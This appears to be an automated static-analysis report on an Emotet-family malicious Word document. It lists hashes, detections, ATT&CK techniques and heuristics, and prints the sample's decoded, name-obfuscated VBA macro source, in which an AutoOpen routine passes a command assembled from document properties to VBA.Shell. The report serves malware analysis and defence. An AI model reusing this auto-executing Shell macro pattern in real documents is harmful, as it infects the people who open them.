Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d621d5dea6a95c31…

MALICIOUS

Office (OLE)

63.0 KB Created: 2017-09-21 13:03:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 4849abc0cc64ff5fb302f1e32e65bc11 SHA-1: 94d387c656ede9f686827d9c08710f036fd44fee SHA-256: d621d5dea6a95c31650a4c46aaf507625a8e18f33b5a4a22e8a801c25dc77a49
172 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6344335-3', strongly suggesting the Emotet family. Critical heuristics indicate the presence of VBA macros and a potential Shell call within them. The VBA script itself contains obfuscated code and a call to VBA.Shell, which is used to execute commands, likely for downloading and running a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6344335-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6344335-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     GZXRbMnBFDW = ("YUdLNPdUTE")
VBA.Shell$ "" + hVmgnLh + pVKbAvrpy + swTrnwWusMe + EUGsMTxX + gRAKsxPVnf + erxzSKFkA + NWxBFZY + TSUGKhg + RtFcHGWsdfA + TDcCcaLs + ActiveDocument.CustomDocumentProperties("XkHMfWEK") + ActiveDocument.CustomDocumentProperties("TwYcAVpNE") + hVmgnLh + pVKbAvrpy + swTrnwWusMe + EUGsMTxX + gRAKsxPVnf + erxzSKFkA + NWxBFZY + TSUGKhg + RtFcHGWsdfA + TDcCcaLs + ActiveDocument.BuiltInDocumentProperties("Comments") + hVmgnLh + pVKbAvrpy + swTrnwWusMe + EUGsMTxX + gRAKsxPVnf + erxzSKFkA + NWxBFZY + TSUG …
wLAuZRe = ("wmkSrAZCXW")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
bmbYfpBmGLg = ("szxGEkan")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4221 bytes
SHA-256: 759017911c08ebd4401004602d122aa93b5200113cc8d63a77fd2ed1fd80b0b4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
97 of 128 identifiers look randomly generated (e.g. 'edyWvrNXckzLbePVhEcywRyBugbUHaCXkmCSATkS') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
'PHMKstTspDsyFTWKvsnZpCDhymcMNDTgXpgNedszAcnagxpxcWyteyzkDveF
 'anNUstVXeHDUVZndWsgSfSWLrmfmLGKwLYnnRLHbaFhFLSaatBYfgGDyZggRTTUFDVSK
 'AmugWhBnFENKawngmRehhXYaXtvPypRCCDHAzpabLBftfWNGsPYTrHxkBCAKHSHeuZ
 'KVrWuuxEzwKxMKPLCaweRexMxEFdDXWuAPGPdeMMEbWwSZrkmBUrwPgwSHBeHkfeH
 'MDrAVBMawfSRVPMczUhedUaLVUBUsTBasXUnbPWMkHebfSFxvssMZKBUwkfxWbKaS
 'cGyGwDYvTtYGHDhvaePLmxSPzAsvuhdyvUBzSKepHBmpkSmPdwuUcneSVvaF
 'bbacLxAeGvybFrfALEErsffYbCGgAYAhEdwxZnAyMerGBLwCgxYkAcNfGbCFPrFu
 'ZgHZwwvVHpXLGKLckySfATAFfSxntWapRPnBZkndPbBusMdPEThWzuAeH
 'gcaWZRWcazUemsvmzwerFTtaFFFUVKzBWMCGMCNSmhsYPNFaFxmewCsMvFSCdrZ
 'GgCFDhRSweWHrChmSHeaBuEPKaznAXMueZZaBmLMzruYYsRXfhNHeWaZwmrgtN
 'eBtmusKBwtMnBwmBtEsCmvHgEgwbZkAXmuBbrYVSMWvrXMsVcnAhbeMVYH
 'GFZxLxYsDCELWZULtSVDsTYUCVkAdUWTLXLTwbstfCwLzBWMrXgHNcdU
 'EYZweFyghbUEBSuBcyFEKapWDTTYKXYuhtfnKGTPhtRSSSfmLyUefuLnYthTfvE
 'dkVwfEHpuTetegfGALcmtExDGaaZfRDkDGsrLcrMAnmbVCbSgentRBgLSDXzC

Function eymEyBgaPgx()
aHaydwcPsts = ("sMFpMdP")
 HPVZvBWfsb = ("CWbpTetTRHN")
 EmgHYCTEHT = ("xZbUnhcVCL")
 rzEPfzVhB = ("cNggvkZ")
LzYAyWhc = ("fCPfgEGDcT")
atttvuU = ("YEdhCLpLwn")
 wFGHdFu = ("mnWxeMU")
WuSNfTKVSL = ("NApNhhK")
 USUFRSw = ("tdLtHTLF")
 GZXRbMnBFDW = ("YUdLNPdUTE")
VBA.Shell$ "" + hVmgnLh + pVKbAvrpy + swTrnwWusMe + EUGsMTxX + gRAKsxPVnf + erxzSKFkA + NWxBFZY + TSUGKhg + RtFcHGWsdfA + TDcCcaLs + ActiveDocument.CustomDocumentProperties("XkHMfWEK") + ActiveDocument.CustomDocumentProperties("TwYcAVpNE") + hVmgnLh + pVKbAvrpy + swTrnwWusMe + EUGsMTxX + gRAKsxPVnf + erxzSKFkA + NWxBFZY + TSUGKhg + RtFcHGWsdfA + TDcCcaLs + ActiveDocument.BuiltInDocumentProperties("Comments") + hVmgnLh + pVKbAvrpy + swTrnwWusMe + EUGsMTxX + gRAKsxPVnf + erxzSKFkA + NWxBFZY + TSUGKhg + RtFcHGWsdfA + TDcCcaLs + ygsAbUKKc, 0
wLAuZRe = ("wmkSrAZCXW")
 LDmECaUgCV = ("UHLztfWmf")
fYCVszf = ("DEzgzVdkaFW")
 PFUgpErxpMV = ("VdnuFYres")
 TwUgfErX = ("PgXhcufcxW")
 rzyubVzdfEb = ("dcZxTCadEtK")
aEGLZsZ = ("hSaWbDCurMu")
KKEhbvBdEmR = ("drHWgznKtg")
 YxxvVXhAg = ("UfRKWvSDt")
 EyeeWSpm = ("LXyDamaLC")

End Function
'gzwWEkZTvMtACSzcDNHRPpFyvsChhwKtugPAnUxBxSrVgThUzFvKwcYYFNzeXeV
 'GAgYnvkyddwmbMWMHMDUahdgYUKuFYZhathDkAUYuswbHrPtcnpLeaxYnWpZwYpCtYW
 'DeDrSvGWbaasVgugMNdXEARRKsUtKETtcmkHnNkNTKeDHYcdwdLWrMhPhstvru
 'SxHyWttHxKRfGHYkHHybdMxcDeBKATcvaKygBBSaBaZLGRWMkvevmNXCcBKrLaaXSnr
 'fGPSzMwznazkLxmMvFMuaXTmnhmmrsduxvCaUSWwTdLbEhrRhTRrcarYZVt
 'fPsbxThNUzGCHCDhMaYwGCcpDvEvrHYtsckpwzTXwndzsTxtBSBNCkyTYwHbVgL
 'xkLYusFYdnSkguNYWXbtGAUZRWtcbpMCRDEaTxzmuTYyNvkEhuPWVwanRhSYc
 'CcTzLfxumWCrdMwurGFGMnUKtvzfgFshMHGBvxhpbTgGZYBEhUthHHkWKgYfFafNf
 'hHACtTKfTbTuGBumtRUVWRfvALyvvDkaSXtrNUtyeccdUSHyLtHCAgGcRSvtv
 'eRnkZKgEYctrwyMvsphnZNDSANexbxYSSEZGFBKXrRTtzaSBeYgBDyustnhvkMSnr
 'edyWvrNXckzLbePVhEcywRyBugbUHaCXkmCSATkSXBaDXzHwbCYwrmeTZbvemMgBzzLSXA
 'RDfCekZtpUUdPUaNrHXtwhWnkrWWMgCPBBhTceRumhmuBkPzLEaUmEzwAzTNAEPeZzDS
 'TvYwVhXGRxukxvkvzZuFXCWkbZwurgwGvLCsRSTeDApsGShwsAEppvBshLtDcnyTUw
 'VcAbBgPmNYDgkZxSkKrWuKMVMDgrbdaCDbbzaAkkpTvkePCnmerRExZfttuPDxV
 'vxfKDdUFMVZbCFVfrbDSXewfaFkZeEkSGWAdyBDYdeKRvVTGkePPPMXvfGbMMgWa
 'FyMwGxeLvekDcxUEWTUGphfyVcZVpPhYuVfwVAdCeNRvhaxhKLwPagZrEmnbve
 'XLUKNwwmEbkGfMpXvHvtgvBcPPheZeFNLULHgExHwzUChzKrwTZnrcmWKptbfUzP
 'fHmdWkwdezUWhkxLRbymHBGKmXBKKyMEUphhZdTUMkAkauyLwbfdHETDgRssTPV
 'TfRsbHmdWCbrdTZTwpeRpGznfWBECuZHCmXTFUZgsmCpZvGwVwUSzZShmU
 'GMFNHhYKewWAYxzSyaHWxVGMkfdkDtzybhASkDRzpKtZMCPRbuFuKektu
 'gMWCgfZFMhgPstcYKEdYLPwwPawBurxpWgdTwmdDFHYxhEkrfkdFvPdvTxDWA
 'LvMAWxaPhVUABDFrZHaSBnVztnfRKvGEgDmAMcGaPgXeGXMWSwKbXzmmvRWCVMgdRHNYt
 'YCXmuUuTakvUCDSFrrfEmmHhyzgDMehskPtVbCFFMhchYAeLxwdtepscBGPAcdRnhL

Sub autoopen()
bmbYfpBmGLg = ("szxGEkan")
 YGbeAhbARK = ("TzUgtFA")
 XyRMUmcT = ("gFHHZrF")
dLenDGfVk = ("vEhpsUKf")
 mUmLzpVU = ("kWzkWZXmT")
 bSaAcLn = ("seZApyRSs")
eymEyBgaPgx
fAVuBTpeL = ("HyWcbtFkdE")
 wPKXYua = ("kgMPhgAbW")
mCXavzy = ("wWBfzpfdmv")

End Sub

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